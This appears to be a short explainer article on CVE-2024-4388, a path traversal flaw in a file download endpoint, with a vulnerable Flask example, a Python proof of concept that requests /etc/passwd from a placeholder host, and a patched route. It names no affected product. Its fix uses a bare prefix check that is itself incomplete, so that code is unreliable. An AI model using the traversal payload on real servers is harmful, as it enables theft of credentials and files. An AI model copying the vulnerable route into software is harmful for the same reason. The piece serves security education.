CVE-2024-4388 - Unauthenticated File Download Vulnerability Explained with PoC

A new security issue, CVE-2024-4388, has been identified, which allows attackers to download any file from a vulnerable server — without needing to log in. This article breaks down how this can happen, shows you some code, demonstrates the exploit, and points to original sources. Whether you’re a developer or just curious about security, you’ll get a clear view on how it works and what it means.

What is CVE-2024-4388?

CVE-2024-4388 describes a vulnerability in a typical file download endpoint of a web application. When the application receives user input for a file path but does not validate or sanitize it, attackers can trick the server into sending them any file. This is called a "path traversal attack."

In short: If a user can say what file to download, and the code doesn't check if it's a safe file, attackers can get secrets like configuration files and passwords.

Here’s a simplified example in Python (Flask framework) that illustrates this bug

from flask import Flask, request, send_file

app = Flask(__name__)

@app.route('/download')
def download_file():
    filename = request.args.get('file')  # Gets 'file' parameter from URL
    # BAD: no validation on 'filename'
    return send_file(f'./uploads/{filename}', as_attachment=True)

There’s no check to see if filename tries to leave the intended folder.

- An attacker can set file=../../../../etc/passwd (on Linux) and read sensitive files.

Proof-of-Concept Exploit (python requests)

import requests

url = "http://vulnerable.example.com/download";
payload = "../../../../etc/passwd"   # Linux server's password file (for example)

params = {
    "file": payload
}

response = requests.get(url, params=params)

if "root:" in response.text:
    print("[+] Worked! Downloaded /etc/passwd.")
else:
    print("[-] Exploit failed.")

No authentication needed: Anyone with access to the download endpoint can use this.

- Full server file access: Attackers can download any readable file—including configuration, source code, and credentials.

Example

import os

@app.route('/download')
def download_file():
    filename = request.args.get('file')
    # Only allow filenames, no paths
    safe_dir = os.path.abspath('./uploads/')
    requested_path = os.path.abspath(os.path.join(safe_dir, filename))
    if not requested_path.startswith(safe_dir):
        return "Invalid file path", 400
    return send_file(requested_path, as_attachment=True)

References

- Original CVE Record at NVD
- OWASP Path Traversal Cheat Sheet
- OWASP File Upload Security Risks

Stay safe—validate everything!

Have questions or want the latest info? Check the CVE-2024-4388 NVD entry for vendor updates.


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Timeline

Published on: 05/23/2024 06:15:11 UTC
Last modified on: 07/03/2024 02:07:30 UTC